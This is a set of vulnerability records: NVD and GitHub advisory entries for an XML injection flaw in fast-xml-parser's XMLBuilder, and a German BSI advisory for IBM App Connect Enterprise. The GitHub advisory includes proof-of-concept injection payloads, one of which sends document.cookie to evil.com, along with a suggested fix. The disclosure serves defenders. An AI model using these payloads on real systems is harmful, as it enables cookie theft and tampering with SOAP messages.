{
  "affected": [
    {
      "affectedData": [
        {
          "product": "fast-xml-parser",
          "vendor": "NaturalIntelligence",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.7.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:naturalintelligence:fast-xml-parser:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "182D0133-9479-411F-A055-EABFBBF62B78",
              "versionEndExcluding": "5.7.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0."
    }
  ],
  "id": "CVE-2026-41650",
  "lastModified": "2026-06-17T10:46:56.607",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-41650",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-07T15:08:09.204375Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-07T15:16:07.767",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-91"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:04:17Z",
    "nvd_published_at": "2026-05-07T15:16:07Z",
    "severity": "MODERATE"
  },
  "details": "# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser XMLBuilder does not escape the `--\u003e` sequence in comment content or the `]]\u003e` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of --\u003e\nbuildTextValNode(val, key, attrStr, level) {\n    // ...\n    if (key === this.options.commentPropName) {\n        return this.indentate(level) + `\u003c!--${val}--\u003e` + this.newLine;  // VULNERABLE\n    }\n    // ...\n    if (key === this.options.cdataPropName) {\n        return this.indentate(level) + `\u003c![CDATA[${val}]]\u003e` + this.newLine;  // VULNERABLE\n    }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from \u0027fast-xml-parser\u0027;\n\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst xml = {\n  root: {\n    \"#comment\": \"--\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\u003c!--\",\n    data: \"legitimate content\"\n  }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n\u003croot\u003e\n  \u003c!----\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\u003c!----\u003e\n  \u003cdata\u003elegitimate content\u003c/data\u003e\n\u003c/root\u003e\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n  cdataPropName: \"#cdata\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst rss = {\n  rss: { channel: { item: {\n    title: \"Article\",\n    description: {\n      \"#cdata\": \"Content]]\u003e\u003cscript\u003efetch(\u0027https://evil.com/\u0027+document.cookie)\u003c/script\u003e\u003c![CDATA[more\"\n    }\n  }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n\u003crss\u003e\n  \u003cchannel\u003e\n    \u003citem\u003e\n      \u003ctitle\u003eArticle\u003c/title\u003e\n      \u003cdescription\u003e\n        \u003c![CDATA[Content]]\u003e\u003cscript\u003efetch(\u0027https://evil.com/\u0027+document.cookie)\u003c/script\u003e\u003c![CDATA[more]]\u003e\n      \u003c/description\u003e\n    \u003c/item\u003e\n  \u003c/channel\u003e\n\u003c/rss\u003e\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true\n});\n\nconst soap = {\n  \"soap:Envelope\": {\n    \"soap:Body\": {\n      \"#comment\": \"Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!--\",\n      Action: \"getBalance\",\n      UserId: \"12345\"\n    }\n  }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n\u003csoap:Envelope\u003e\n  \u003csoap:Body\u003e\n    \u003c!--Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!----\u003e\n    \u003cAction\u003egetBalance\u003c/Action\u003e\n    \u003cUserId\u003e12345\u003c/UserId\u003e\n  \u003c/soap:Body\u003e\n\u003c/soap:Envelope\u003e\n```\n\nThe injected `\u003cAction\u003edeleteAll\u003c/Action\u003e` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n   Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n   Injection successful: true\n\n4. Round-trip test:\n   Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n   Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `\u003cscript\u003e` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n    const safeVal = String(val).replace(/--/g, \u0027\u0026#45;\u0026#45;\u0027);\n    return this.indentate(level) + `\u003c!--${safeVal}--\u003e` + this.newLine;\n}\n\n// For CDATA: split on ]]\u003e and rejoin with separate CDATA sections\nif (key === this.options.cdataPropName) {\n    const safeVal = String(val).replace(/]]\u003e/g, \u0027]]]]\u003e\u003c![CDATA[\u003e\u0027);\n    return this.indentate(level) + `\u003c![CDATA[${safeVal}]]\u003e` + this.newLine;\n}\n```",
  "id": "GHSA-gh4j-gqv2-49f6",
  "modified": "2026-05-08T21:47:26Z",
  "published": "2026-04-22T20:04:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41650"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters"
}

{
  "document": {
    "aggregate_severity": {
      "text": "hoch"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "IBM App Connect Enterprise kombiniert die branchenbew\u00e4hrten Technologien des IBM Integration Bus mit Cloud-nativen Technologien.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um beliebigen Programmcode auszuf\u00fchren, Daten zu manipulieren, Cross-Site-Scripting-Angriffe durchzuf\u00fchren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszul\u00f6sen.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Sonstiges\n- UNIX\n- Windows",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-1654 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-1654.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-1654 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1654"
      },
      {
        "category": "external",
        "summary": "IBM Security Bulletin 7273703 vom 2026-05-21",
        "url": "https://www.ibm.com/support/pages/node/7273703"
      },
      {
        "category": "external",
        "summary": "IBM Security Bulletin 7273774 vom 2026-05-21",
        "url": "https://www.ibm.com/support/pages/node/7273774"
      }
    ],
    "source_lang": "en-US",
    "title": "IBM App Connect Enterprise: Mehrere Schwachstellen",
    "tracking": {
      "current_release_date": "2026-05-21T22:00:00.000+00:00",
      "generator": {
        "date": "2026-05-22T10:40:37.473+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.6.0"
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      "id": "WID-SEC-W-2026-1654",
      "initial_release_date": "2026-05-21T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-05-21T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "Certified Container \u003c13.1.0",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container \u003c13.1.0",
                  "product_id": "T054531"
                }
              },
              {
                "category": "product_version",
                "name": "Certified Container 13.1.0",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container 13.1.0",
                  "product_id": "T054531-fixed",
                  "product_identification_helper": {
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                "name": "Certified Container \u003c12.0.24",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container \u003c12.0.24",
                  "product_id": "T054532"
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                "name": "Certified Container 12.0.24",
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                  "product_id": "T054532-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:ibm:app_connect_enterprise:certified_container__12.0.24"
                  }
                }
              },
              {
                "category": "product_version_range",
                "name": "Certified Container \u003c13.0.7.2",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container \u003c13.0.7.2",
                  "product_id": "T054533"
                }
              },
              {
                "category": "product_version",
                "name": "Certified Container 13.0.7.2",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container 13.0.7.2",
                  "product_id": "T054533-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:ibm:app_connect_enterprise:certified_container__13.0.7.2"
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                "name": "Certified Container \u003c12.0.12.26",
                "product": {
                  "name": "IBM App Connect Enterprise Certified Container \u003c12.0.12.26",
                  "product_id": "T054534"
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              {
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                "name": "Certified Container 12.0.12.26",
                "product": {
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                  "product_id": "T054534-fixed",
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            "category": "product_name",
            "name": "App Connect Enterprise"
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        "category": "vendor",
        "name": "IBM"
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  "vulnerabilities": [
    {
      "cve": "CVE-2021-23337",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533",
          "T054532",
          "T054531"
        ]
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      "title": "CVE-2021-23337"
    },
    {
      "cve": "CVE-2026-27141",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533",
          "T054532",
          "T054531"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-27141"
    },
    {
      "cve": "CVE-2026-4800",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533",
          "T054532",
          "T054531"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-4800"
    },
    {
      "cve": "CVE-2026-33750",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-33750"
    },
    {
      "cve": "CVE-2026-40186",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-40186"
    },
    {
      "cve": "CVE-2026-40895",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-40895"
    },
    {
      "cve": "CVE-2026-41305",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-41305"
    },
    {
      "cve": "CVE-2026-41650",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-41650"
    },
    {
      "cve": "CVE-2026-42264",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-42264"
    },
    {
      "cve": "CVE-2026-41242",
      "product_status": {
        "known_affected": [
          "T054534",
          "T054533",
          "T054532",
          "T054531"
        ]
      },
      "release_date": "2026-05-21T22:00:00.000+00:00",
      "title": "CVE-2026-41242"
    }
  ]
}